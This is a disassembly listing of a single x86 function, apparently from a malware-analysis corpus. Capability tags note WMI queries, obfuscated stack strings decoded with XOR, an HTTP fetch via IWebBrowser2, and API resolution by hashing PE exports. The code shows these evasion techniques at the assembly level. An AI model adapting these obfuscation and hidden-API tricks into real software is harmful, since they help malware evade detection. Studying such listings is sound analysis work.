Function at 0x4358f0
Capabilities:
Connect to wmi namespace via wbemlocator
Contain obfuscated stackstrings
Encode data using xor
Get http document via iwebbrowser2
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0xa0
mov eax, dword [0x44b02c]
mov dword [esp + 0x44], eax
mov dword [esp + 8], 0x590f5b3f
mov dword [esp + 0xc], 0x5deb5fd7
mov dword [esp + 0x10], 0x51e953e8
mov dword [esp + 0x14], 0x551257e3
mov dword [esp + 0x18], 0xa915abe2
mov dword [esp + 0x1c], 0xad15af22
mov dword [esp + 0x20], 0xa1a2a3d7
mov word [esp + 0x24], 0
mov byte [esp + 0x26], 0
mov edx, 0x7fb00c91
mov eax, 0x804ff3ee
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ebx, byte [esp + eax + 0x7fb00c1a]
lea ecx, [eax + 0x261d4381]
lea esi, [edx - 1]
mov dword [esp + 0x48], esi
xor esi, ecx
and esi, ebx
xor esi, ecx
not esi
and esi, ecx
mov ecx, esi
and ecx, 2
mov edi, esi
or esi, 2
imul esi, ecx
xor ecx, 2
and edi, 0xa66d37fd
imul edi, ecx
add esi, edi
add edx, esi
mov ecx, eax
sub ecx, esi
xor edx, ebx
and ecx, ebx
add ecx, ecx
sub ecx, edx
add cl, 0xd5
mov byte [esp + eax + 0x7fb00c1a], cl
inc eax
mov ecx, dword [esp + 0x48]
mov edx, ecx
cmp ecx, 0x7fb00c72
jne 0x435960
lea eax, [esp + 0x60]
lea ebx, [esp + 0x78]
lea esi, [esp + 8]
push eax
push 8
push ebx
push 0xd
push esi
push 0
call dword [esp + 0x5c]
test eax, eax
jns 0x4359e6
mov dword [esp + 0x78], 0x3a0043
mov dword [esp + 0x7c], 0x5c
mov dword [esp + 0x6c], 0
mov dword [esp + 0x68], 0
mov dword [esp + 0x64], 0
mov dword [esp + 0x60], 0
mov dword [esp + 0x50], 0
lea eax, [esp + 0x50]
push eax
push 0x442aa8
push 1
push 0
push 0x442ab8
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
mov edi, dword [ebp + 8]
js 0x435f82
mov dword [esp + 8], 0x21772776
mov dword [esp + 0xc], 0x3d8e2371
mov dword [esp + 0x10], 0x39633f98
mov dword [esp + 0x14], 0x356d3b63
mov dword [esp + 0x18], 0x3144379a
mov word [esp + 0x1c], 0x3330
mov dword [esp + 0x1e], 0
mov word [esp + 0x22], 0
xor eax, eax
xor ecx, ecx
nop
nop
nop
nop
mov esi, eax
and esi, 0x12
mov edx, ecx
xor edx, 9
add edx, esi
xor dl, byte [esp + ecx + 8]
add dl, 0xd3
mov byte [esp + ecx + 8], dl
inc ecx
add eax, 2
cmp ecx, 0x1c
jne 0x435a80
lea esi, [esp + 8]
push esi
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov ebx, eax
mov eax, dword [esp + 0x50]
mov ecx, dword [eax]
lea edx, [esp + 0x4c]
push edx
push 0
push 0
push 0
push 0
push 0
push 0
mov dword [esp + 0x64], ebx
push ebx
push eax
call dword [ecx + 0xc]
test eax, eax
lea ebx, [esp + 0x78]
js 0x435f6e
push 0
push 0
push 3
push 3
push 0
push 0
push 0xa
push dword [esp + 0x68]
call dword [sym.imp.ole32.dll_CoSetProxyBlanket]
test eax, eax
js 0x435f64
mov dword [esp + 8], 0x69dd6bdd
mov dword [esp + 0xc], 0x6d6e6fa4
mov word [esp + 0x10], 0
mov byte [esp + 0x12], 0
xor eax, eax
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + ecx + 8]
mov esi, eax
and esi, 0xe
mov edi, ecx
xor edi, 0x1fd98b17
add edi, esi
xor edi, edx
mov edx, edi
and edx, 0xc0088c
mov esi, edx
not esi
add esi, edi
add esi, 0x60c0488d
mov edi, esi
and edi, edx
xor edx, esi
lea edx, [edx + edi*2]
inc dl
mov byte [esp + ecx + 8], dl
inc ecx
add eax, 2
cmp ecx, 0xb
jne 0x435b20
lea eax, [esp + 8]
push eax
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov edi, eax
mov dword [esp + 8], 0x89518b21
mov dword [esp + 0xc], 0x855d875c
mov dword [esp + 0x10], 0x812e8359
mov dword [esp + 0x14], 0x9d689f60
mov dword [esp + 0x18], 0x99409b7c
mov dword [esp + 0x1c], 0x95479736
mov dword [esp + 0x20], 0x91729347
mov dword [esp + 0x24], 0x6dd96f39
mov dword [esp + 0x28], 0x69a76bde
mov dword [esp + 0x2c], 0x65c767a6
mov dword [esp + 0x30], 0x61b563ba
mov dword [esp + 0x34], 0x7dd37fb1
mov dword [esp + 0x38], 0x7b7c
mov byte [esp + 0x3c], 0
xor eax, eax
xor ecx, ecx
movzx edx, byte [esp + ecx + 8]
mov esi, eax
and esi, 0x46
mov ebx, ecx
xor ebx, 0x4f489de3
add ebx, esi
mov esi, edx
and esi, ebx
add esi, esi
sub ebx, esi
add bl, dl
add bl, 0x91
mov byte [esp + ecx + 8], bl
inc ecx
add eax, 2
cmp ecx, 0x35
jne 0x435be0
lea eax, [esp + 8]
push eax
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov esi, dword [esp + 0x4c]
mov ecx, dword [esi]
lea edx, [esp + 0x5c]
push edx
push 0
push 0x30
mov dword [esp + 0x80], eax
push eax
mov dword [esp + 0x54], edi
push edi
push esi
call dword [ecx + 0x50]
test eax, eax
mov edi, dword [ebp + 8]
lea ebx, [esp + 0x78]
js 0x435f4e
mov dword [esp + 0x54], 0
mov eax, dword [esp + 0x5c]
mov ecx, dword [eax]
lea edx, [esp + 0x54]
lea esi, [esp + 0x58]
push edx
push esi
push 1
push 0xffffffffffffffff
push eax
call dword [ecx + 0x10]
test eax, eax
js 0x435f44
cmp eax, 1
je 0x435f44
cmp dword [esp + 0x54], 0
je 0x435f44
lea eax, [esp + 0x88]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [esp + 0x58]
mov dword [esp + 8], 0xc3a7c1b3
mov dword [esp + 0xc], 0xc7afc556
mov dword [esp + 0x10], 0xcba6c9a9
mov dword [esp + 0x14], 0xcf5bcd82
mov dword [esp + 0x18], 0xf390f19d
mov dword [esp + 0x1c], 0xf764f591
mov word [esp + 0x20], 0xf9f8
mov dword [esp + 0x22], 0
mov ecx, 0xaf438dd0
lea esi, [esp + 8]
nop
nop
movzx edx, byte [esp + ecx + 0x50bc7238]
mov ebx, edx
and ebx, ecx
add bl, bl
sub dl, bl
movzx edx, dl
add edx, ecx
add dl, 0xf0
mov byte [esp + ecx + 0x50bc7238], dl
inc ecx
cmp ecx, 0xaf438dee
jne 0x435ce0
mov ecx, dword [eax]
push 0
push 0
lea edx, [esp + 0x90]
push edx
push 0
push esi
push eax
call dword [ecx + 0x10]
test eax, eax
lea ebx, [esp + 0x78]
js 0x435f2c
cmp word [esp + 0x88], 8
jne 0x435f2c
mov eax, dword [esp + 0x90]
movzx ecx, word [eax]
test cx, cx
je 0x435d7d
mov esi, eax
add eax, 2
xor ebx, ebx
jmp 0x435d5c
inc ebx
movzx ecx, word [eax]
add eax, 2
test cx, cx
je 0x435d81
cmp cx, 0x7f
jbe 0x435d50
movzx edx, cx
cmp edx, 0x7ff
ja 0x435d72
add ebx, 2
jmp 0x435d51
cmp cx, 0xffff
je 0x435d51
add ebx, 3
jmp 0x435d51
mov esi, eax
xor ebx, ebx
mov eax, ebx
xor eax, 1
mov dword [esp + 0x70], ebx
and ebx, 1
mov dword [esp + 4], eax
lea eax, [eax + ebx*2]
push eax
call fcn.0040cc80
add esp, 4
mov ecx, esi
movzx edx, word [esi]
mov dword [esp + 0x40], eax
mov esi, eax
test dx, dx
je 0x435ede
mov eax, dword [esp + 4]
lea eax, [eax + ebx*2]
dec eax
mov esi, dword [esp + 0x40]
test eax, eax
je 0x435ede
mov esi, dword [esp + 0x40]
nop
nop
nop
nop
nop
nop
nop
movzx ebx, dx
lea edx, [ecx + 2]
cmp bx, 0x7f
ja 0x435df0
lea ecx, [esi + 1]
mov byte [esi], bl
jmp 0x435e80
cmp ebx, 0x7ff
ja 0x435e15
cmp eax, 2
jb 0x435e15
mov ecx, ebx
shr ecx, 6
add cl, 0xc0
mov byte [esi], cl
and bl, 0x3f
or bl, 0x80
lea ecx, [esi + 2]
mov byte [esi + 1], bl
jmp 0x435e80
mov dword [esp + 4], ecx
mov ecx, ebx
and ecx, 0xfc00
cmp ecx, 0xd800
jne 0x435e9a
cmp eax, 4
jb 0x435e9a
mov ecx, dword [esp + 4]
movzx edx, word [ecx + 2]
add ecx, 4
mov dword [esp + 4], ecx
shl ebx, 0xa
lea ecx, [ebx + edx]
add ecx, 0xfca02400
mov ebx, ecx
shr ebx, 0x12
add bl, 0xf0
mov byte [esi], bl
mov ebx, ecx
shr ebx, 0xc
and bl, 0x3f
or bl, 0x80
mov byte [esi + 1], bl
shr ecx, 6
and cl, 0x3f
or cl, 0x80
mov byte [esi + 2], cl
and dl, 0x3f
or dl, 0x80
lea ecx, [esi + 4]
mov byte [esi + 3], dl
mov edx, dword [esp + 4]
nop
nop
nop
add eax, esi
sub eax, ecx
mov esi, ecx
mov ecx, edx
movzx edx, word [edx]
test dx, dx
je 0x435ede
test eax, eax
jne 0x435dd0
jmp 0x435ede
movzx ecx, cx
cmp ecx, 0xdc00
je 0x435e86
cmp eax, 3
jb 0x435eda
mov ecx, ebx
shr ecx, 0xc
or cl, 0xe0
mov byte [esi], cl
mov ecx, ebx
shr ecx, 6
and cl, 0x3f
or cl, 0x80
mov byte [esi + 1], cl
mov ecx, ebx
xor ecx, 0xc0
or ebx, 0x3f
and ebx, ecx
add bl, 0x80
lea ecx, [esi + 3]
mov byte [esi + 2], bl
jmp 0x435e80
mov ecx, esi
jmp 0x435e80
mov byte [esi], 0
mov eax, 3
mov ecx, dword [esp + 0x70]
sub eax, ecx
cmp eax, 0xfffffffd
lea ebx, [esp + 0x78]
jae 0x435efa
mov eax, 0xfffffffc
add eax, ecx
shr eax, 2
cmp eax, 3
jb 0x435f09
mov eax, 3
lea eax, [eax*4 + 4]
push eax
mov esi, dword [esp + 0x44]
push esi
lea eax, [esp + 0x68]
push eax
call fcn.0040ccb0
add esp, 0xc
push esi
call fcn.0040cc90
add esp, 4
lea eax, [esp + 0x88]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov eax, dword [esp + 0x58]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [esp + 0x5c]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov esi, dword [sym.imp.OLEAUT32.dll_SysStringLen]
push dword [esp + 0x44]
call esi
push dword [esp + 0x74]
call esi
lea esi, [esp + 8]
mov eax, dword [esp + 0x4c]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
push dword [esp + 0x48]
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov eax, dword [esp + 0x50]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov dword [esp + 8], 0
push 0x72a7c387
push dword [0x44b024]
call fcn.0043e6d0
add esp, 8
push 0
push 0
push 0
push 0
push esi
push 0
push 0
push ebx
call eax
test eax, eax
je 0x436063
mov eax, dword [esp + 8]
mov dword [esp + 0x60], eax
xor esi, esi
jmp 0x435fdd
add edi, 8
inc esi
cmp esi, 4
je 0x436063
mov eax, 0
test esi, esi
je 0x435ffd
cmp dword [esp + esi*4 + 0x60], 0
mov eax, esi
jne 0x435ffd
mov ecx, esi
not ecx
and ecx, 1
mov eax, esi
and eax, 2
sub eax, ecx
mov eax, dword [esp + eax*4 + 0x60]
mov ecx, eax
or ecx, 0x1a5845
mov edx, eax
and edx, 0x1a5845
imul ecx, edx
xor edx, 0x1a5845
and eax, 0xffe5a7ba
imul eax, edx
add eax, ecx
add eax, 0xebde8a13
mov dword [esp + esi*4 + 0x60], eax
mov ebx, 0xfffffff7
push 0x10
push 9
push edi
push eax
call fcn.0041d220
add esp, 0x10
cmp byte [eax + ebx + 9], 0
lea ebx, [ebx + 1]
jne 0x436040
test ebx, ebx
je 0x435fd0
add eax, ebx
neg ebx
push ebx
push 0x30
push eax
call fcn.0040ce10
add esp, 0xc
jmp 0x435fd0
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret